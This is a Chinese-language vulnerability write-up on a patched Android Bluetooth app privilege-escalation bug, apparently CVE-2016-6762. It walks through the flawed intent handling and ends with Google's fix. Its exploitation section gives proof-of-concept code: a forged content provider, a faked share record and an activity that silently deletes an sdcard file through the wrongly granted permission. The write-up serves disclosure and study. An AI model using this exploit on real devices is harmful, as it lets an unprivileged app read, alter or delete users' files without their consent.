0x01 漏洞简介

​ Android 6月的安全公告,同时还修复了我们发现的一个蓝牙App提权中危漏洞,该漏洞允许手机本地无权限的恶意程序构造一个仿冒的Provider,并获取Provider所指向文件的读写权限,可用于写SD卡或者蓝牙共享数据库,漏洞详情如下:

0x02 漏洞分析

​ 该漏洞其实是一个常规的Android组件暴露漏洞,跟我们上一个分析的蓝牙漏洞一样,我们知道在蓝牙App中BluetoothOppLauncherActivity是可以被第三方应用启动的。这一次,我们来看onCreate函数中传入Intent action为android.btopp.intent.action.OPEN的处理流程。

} else if (action.equals(Constants.ACTION_OPEN)) {
            Uri uri = getIntent().getData();
            if (V) Log.v(TAG, "Get ACTION_OPEN intent: Uri = " + uri);

            Intent intent1 = new Intent();
            intent1.setAction(action);
            intent1.setClassName(Constants.THIS_PACKAGE_NAME, BluetoothOppReceiver.class.getName());
            intent1.setDataAndNormalize(uri);
            this.sendBroadcast(intent1);
            finish();

​ 转到BluetoothOppReceiver进行处理。接着查看BluetoothOppReceiver的onReceive函数,由于Intent可控,这里蓝牙App将会取出intent中的Data进行数据库查询,然后取出transInfo,最后进入BluetoothOppUtility.openReceivedFile函数。

} else if (action.equals(Constants.ACTION_OPEN) || action.equals(Constants.ACTION_LIST)) {
            if (V) {
                if (action.equals(Constants.ACTION_OPEN)) {
                    Log.v(TAG, "Receiver open for " + intent.getData());
                } else {
                    Log.v(TAG, "Receiver list for " + intent.getData());
                }
            }

            BluetoothOppTransferInfo transInfo = new BluetoothOppTransferInfo();
            Uri uri = intent.getData();  //Intent可控!
            transInfo = BluetoothOppUtility.queryRecord(context, uri);
            if (transInfo == null) {
                Log.e(TAG, "Error: Can not get data from db");
                return;
            }

            if (transInfo.mDirection == BluetoothShare.DIRECTION_INBOUND
                    && BluetoothShare.isStatusSuccess(transInfo.mStatus)) {
                // if received file successfully, open this file
                // transInfo可控!
                BluetoothOppUtility.openReceivedFile(context, transInfo.mFileName,
                        transInfo.mFileType, transInfo.mTimeStamp, uri);
                BluetoothOppUtility.updateVisibilityToHidden(context, uri);
            } else {
                Intent in = new Intent(context, BluetoothOppTransferActivity.class);
                in.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
                in.setDataAndNormalize(uri);
                context.startActivity(in);
            }

​ 在openReceivedFile函数中,我们看到蓝牙App最终将在授予读写权限后,启动能够处理transInfo.mFileType文件类型的某外部App的Activity,对transInfo.mFileName进行处理。

public static void openReceivedFile(Context context, String fileName, String mimetype,
            Long timeStamp, Uri uri) {
        if (fileName == null || mimetype == null) {
            Log.e(TAG, "ERROR: Para fileName ==null, or mimetype == null");
            return;
        }

        File f = new File(fileName); //fileName可控
        if (!f.exists()) {
        ...
        // skip
       }

       // path受限于com.google.android.bluetooth.fileprovider使用的位置

        Uri path = FileProvider.getUriForFile(context,
                       "com.google.android.bluetooth.fileprovider", f);

        // If there is no scheme, then it must be a file
        if (path.getScheme() == null) {
            path = Uri.fromFile(new File(fileName));
        }

        if (isRecognizedFileType(context, path, mimetype)) {
            Intent activityIntent = new Intent(Intent.ACTION_VIEW);
            activityIntent.setDataAndTypeAndNormalize(path, mimetype);

            List<ResolveInfo> resInfoList = context.getPackageManager()
                .queryIntentActivities(activityIntent,
                        PackageManager.MATCH_DEFAULT_ONLY);

            // 注意这段,授予任何app对该文件的读写权限
            // Grant permissions for any app that can handle a file to access it
            for (ResolveInfo resolveInfo : resInfoList) {
                String packageName = resolveInfo.activityInfo.packageName;
                context.grantUriPermission(packageName, path,
                        Intent.FLAG_GRANT_WRITE_URI_PERMISSION |
                        Intent.FLAG_GRANT_READ_URI_PERMISSION);
            }

            activityIntent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
            // 授予activity对该文件的读写权限
            activityIntent.setFlags(Intent.FLAG_GRANT_READ_URI_PERMISSION);
            activityIntent.setFlags(Intent.FLAG_GRANT_WRITE_URI_PERMISSION);

            try {
                if (V) Log.d(TAG, "ACTION_VIEW intent sent out: " + path + " / " + mimetype);
                context.startActivity(activityIntent);

​ 由于Intent可控,Intent Data可控,transInfo可控,再加上启动的外部App被授予了读写权限,因此这里存在漏洞,我们可以伪造一个文件让蓝牙App启动某外部App打开,同时该外部App获得对伪造文件指向位置的读写权限。可惜此处伪造的文件位置受限于com.android.bluetooth.filepovider,其file_paths.xml使用的external-path,这意味着我们只能伪造一个外部存储/sdcard目录的文件。

0x03 漏洞利用

​ 漏洞利用可如下图所示,这种攻击发送intent的过程像极了飞去来器。恶意App发送intent过后,又回到了自己手中,但却获得了提权。

  1. 恶意App声明能对某种filetype进行处理
<activity android:name=".FakeViewActivity">
            <intent-filter>
                <action android:name="android.intent.action.VIEW" />
                <category android:name="android.intent.category.DEFAULT" />
                <data android:mimeType="xxx/yyy" />
            </intent-filter>
        </activity>
  1. 构造一个虚假的bluetooth share provider——FakeBluetoothOppProvider,传入intent data之中。主要内容可以参考BluetoothOppProvider,其Uri为
content://fake.bluetooth.provider/btopp/

​ 并expose出来

<provider
            android:authorities="fake.bluetooth.provider"
            android:name=".FakeBluetoothOppProvider"
            android:exported="true" />

​ 然后填入内容,指向/sdcard中某个已知文件,并传入Intent data, 启动BluetoothOppLauncherActivity

m_btnTest.setOnClickListener(new View.OnClickListener() {
            @Override
            public void onClick(View v) {
                Intent intent = new Intent();
                intent.setComponent(new ComponentName("com.android.bluetooth",
                        "com.android.bluetooth.opp.BluetoothOppLauncherActivity"));
                intent.setAction(Constants.ACTION_OPEN);
                intent.setData(Uri.parse("content://fake.bluetooth.provider/btopp/1"));
                startActivity(intent);

            }
        });

        m_btnAddFakeEntry = (Button)findViewById(R.id.add);
        m_btnAddFakeEntry.setOnClickListener(new View.OnClickListener() {
            @Override
            public void onClick(View v) {
                ContentValues values = new ContentValues();
                values.put(BluetoothShare._ID, 1);
                values.put(BluetoothShare.DIRECTION, BluetoothShare.DIRECTION_INBOUND);
               values.put(BluetoothShare.TOTAL_BYTES, 110000);
                values.put(BluetoothShare.CURRENT_BYTES,110000);
                values.put(BluetoothShare.TIMESTAMP, 111111);
                values.put(BluetoothShare.DESTINATION, "00:10:60:AA:36:F8");
                values.put(BluetoothShare._DATA, "/storage/emulated/0/CVE-2016-6762.apk");
               values.put(BluetoothShare.MIMETYPE, "xxx/yyy");

                values.put(BluetoothShare.USER_CONFIRMATION, 1);

                // when content provider is null, use insert or use update

                m_contentResolver.insert(BluetoothShare.CONTENT_URI, values);
               // m_contentResolver.update(BluetoothShare.CONTENT_URI, values, "_id = 12", null);

            }
        });
  1. 蓝牙App取出我们构造的filename, filetype;
  2. 蓝牙App授予读写权限,然后再启动恶意App进行处理;
  3. 恶意App直接删除/sdcard中的这个文件。
public class FakeViewActivity extends Activity {
    final static String TAG = "Bluz";

    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);

        Intent intent = getIntent();
        String dir = intent.getDataString();
        Log.d(TAG, "dir is "+dir);
        Uri uri = intent.getData();
        ContentResolver cr = getContentResolver();
       Log.d(TAG, "Deleting "+ intent.getDataString() +" silently!");
        getContentResolver().delete(uri, null, null);
    }
}

​ 在上述整个过程中,恶意App并未申请SD卡写权限,因此这是一个提权漏洞。

​ 另外还有一种利用方式,是在Intent中直接传入蓝牙BluetoothOppProvider的uri,比如content://com.android.bluetooth.opp/btopp/1",从而获得对蓝牙共享数据库的读写权限。完成代码请见这里

0x04 漏洞修复

​ Google对该漏洞的修复主要有两点:

  1. 确保Intent data始终为BluetoothOppProvider的Uri,防止仿冒;
  2. 撤销了授予第三方应用的读写权限,只授予第三方应用某个Activity的读权限。

0x05 时间线

源链接

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